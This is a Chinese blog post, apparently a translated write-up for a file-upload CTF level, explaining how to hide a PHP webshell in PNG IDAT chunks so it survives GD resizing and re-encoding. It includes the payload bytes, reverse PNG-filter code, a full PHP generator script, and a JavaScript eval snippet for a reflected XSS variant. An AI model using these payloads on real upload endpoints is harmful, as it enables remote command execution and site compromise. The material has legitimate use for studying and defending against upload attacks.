【补充】文件上传17关PNG脚本原理

文章原文

  • Encoding Web Shells in PNG IDAT chunks

如果您精心将图片中的Web Shell进行编码处理,则可以绕过服务器端过滤器,使Shell几乎无处不在(这篇文章并不是想谈论在注释或元数据中对数据进行编码)-这篇文章将向您展示如何仅使用GD库将PHP webshell写入PNG IDAT块中。

如果无法将代码写入文件系统,利用服务器配置错误或本地文件包含可能会很棘手 - 过去,允许图像上传的应用程序提供了一种通过元数据或格式错误的图像将代码上传到服务器的有限方法。 但是,经常会对图像进行大小调整,旋转,去除其元数据或将其编码为其他文件格式(二次渲染),从而有效地破坏了webshell payload。

PNG文件格式基础

在PNG文件格式(我们将重点关注真彩色PNG文件而不是索引)中,IDAT块存储像素信息。我们将在此块中存储PHP Shell。现在,我们假设像素存储大小始终为3个字节,代表RGB颜色通道。

当原始图像另存为PNG时,图像的每一行都按字节进行过滤,并且每行的前面带有描述所使用的过滤器类型的数字(0x01至0x05),不同的行可以使用不同的过滤器。 其背后的原理是提高压缩比。 一旦所有的行都被过滤掉,它们都将被DEFLATE算法压缩以形成IDAT块。

IDAT数据块形成过程.png

因此,如果我们想将数据输入为原始图像并将其保存为webshell,则需要同时克服PNG行过滤器和DEFLATE算法。 往回看会比较好理解,所以我们从DEFLATE开始。

第一步:将webshell压缩成字符串

step1:为了防止我们的webshell被破坏,我们需要精心构造的语句不能包含重复出现的两个字符以上的内容(压缩会将相同的字符压缩到一块),所以越短越好。我在谷歌上找了一条号称最短的webshell:

如果是这么简单就好了:)遗憾的是,如果对上述字符串运行DEFLATE,则会产生大量垃圾值,虽然该字符串不会被压缩(webshell 没有变形),但DEFLATE结果不是从字节边界开始,使用的是LSB编码而不是MSB编码。我不会详细介绍它,但是您可以在Pograph的博客上阅读更多内容。

结果最简单的并且可以拿来通过编码的webshell是:

您可以通过指定$_GET [0]为shell_exec并传递shell命令给$ _POST [1]参数来执行系统命令。

我使用DEFLATES对字符串进行压缩,该webshell的优点是:压缩后的第一个字节可以从0x00到0x04之间变化而不影响他的可读性-这对于规避下一阶段处理中会遇到的PNG过滤器十分重要。

经过deflate压缩后的结果如下:

03a39f67546f2c24152b116712546f112e29152b2167226b6f5f5310

遗憾的是,您不能直接将这个字符串嵌入到原始原始图像中,并使其存储在IDAT数据块中,因为在进行DEFLATE之前首先会过滤图像行。

第二步:绕过PNG行滤镜

总共有五种不同的过滤器,PNG encoder可以自行决定给每行选择一种过滤器。我们现在的问题如何让当通过过滤器编码后可以形成我们上面构造的payload。只要我们的图片只包含一行payload剩下的都是连续的颜色比如black,我们的图片可能会经过的过滤器就只会是1或者3。我们可以进一步简化问题,只要我们逆向用过滤器1或者3反编码,我们的payload就会被保存下来。逆向算法如下:

// Reverse Filter 1
for ($i = 0; $i < $s; $i++)
$p[$i+3] = ($p[$i+3] + $p[$i]) % 256;
// Reverse Filter 3
for ($i = 0; $i < $s; $i++)
$p[$i+3] = ($p[$i+3] + floor($p[$i] / 2)) % 256;

当我们尝试单单使用过滤器3处理时,PNG encoder会尝试用过滤器1进行编码,当我们用过滤器1处理时,PNG encoder会尝试用过滤器0进行编码,这就陷入了死循环。为了控制PNG encoder选择我们指定的过滤器,我们可以同时对我们写好的payload进行过滤器3和过滤器1反编码并把结果连接在一起。这可以让encoder选择过滤器3对我们的payload进行编码,确保了数据编码后的结果为我们第二步获取的结果。这部分数据再经过压缩,就可以形成我们的webshell,并存储在IDAT区域。如用我们上面的payload进行过滤器3和过滤器1反编码拼接后的结果为:

0xa3, 0x9f, 0x67, 0xf7, 0xe, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x1, 0xdc, 0x5a, 0x1, 0xdc, 0xa3, 0x9f, 0x67,
0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60,
0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33

第三步:构造原始图像

当我们构造需要经过pd库编码成png图片的图片时,我们要把这部分数据放在文件第一行,这很关键。值得注意的是我们上面提供的payload只支持小于40x40px图片,当然也存在更换payload后可以构造更大图片的可能。
我们最后的payload需要编码成RGB比特流,例如:

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);

$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img);

当这个图片生成后,我们应该可以在左上角看到一系列的七彩色(很小),并且背景是黑色的。

shellcode.png

当这个图片用十六进制编辑器打开的时候是这样的:

hexdumppngshell.png

当然也可以改变黑色的背景,只要在我们的payload后面填充其他颜色的RGB比特流,但是要注意不能出现我们的payload里面的byte,否则有可能会破坏我们的webshell,PNG encoder也可能会选择其他过滤器。

第四步:绕过图像变换

将Web Shell放在IDAT块中的主要原因是它具有绕过调整大小和重新采样操作的能力-PHP-GD库包含两个函数来执行imagecopyresize和imagecopyresampled的操作。

Imagecopyresampled通过获取一组像素上的平均像素值来转换图像,这意味着要绕过此操作,您需要将有效负载编码为一系列矩形或正方形。 但是,Imagecopyresize可以通过对每几个像素进行采样来转换图像,这意味着要绕过此功能,您实际上只需要更改几个像素即可。

下面第一张是对照片进行了imagecopyresize处理,第二张是对照片进行了imagecopyresample处理。两张图片都包含了webshell。

resized-32x32.png
resampled-32x32.png

总结

在IDAT块中放置shell有许多优势,并且应该绕过大多数应用程序调整已上传图像大小或重新编码的数据验证技术。你甚至可以以gif或jpeg等形式上传以上内容,只要最终的图像保存为PNG格式。

应该还有其他更好的技术来更好地隐藏webshell,除了扫描每个上传的shell图像之外,作为开发人员可能无法阻止它。可以想象,将webshell编码成有损格式(如JPEG)可能会困难得多——但可能也不是不可能(网上确实已经有大佬实现了)。


2015年6月的更新

如果您控制包含用户提供的PNG文件的http响应的content-type字段,则以下有效负载可能很有用。 它将以下脚本标记编码为IDAT块:

它引用的脚本评估GET参数zz的内容,从而允许插入自定义有效负载。 它有效地为您的目标来源提供了一个反映的XSS端点。 例如

http://example.org/images/test.png?zz=alert("this is xss :(");

相关

在绕过GD库函数的图像中编码shell方面还有其他出色的工作:

  • 成功将编码为JPEG文件的图像,该图像在imagecreatefromjpeg中仍然存在(这会引发错误,但用GD可以恢复)。
  • 编码策略略有不同的GIF。 有效负载被编码到GIF标头中,而不是在图像主体中。

参考链接:

[24-03-2011] PHP Remote File Inclusion command shell using data://
[23-02-2011] Using php://filter for local file inclusion
function getParameterByName(name) { name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]"); var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"), results = regex.exec(location.search); return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " ")); } var zz = getParameterByName('zz'); if (zz == "") { alert("XSS!"); document.location="https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/"; } else { eval(zz); }

你可能感兴趣的:(【补充】文件上传17关PNG脚本原理)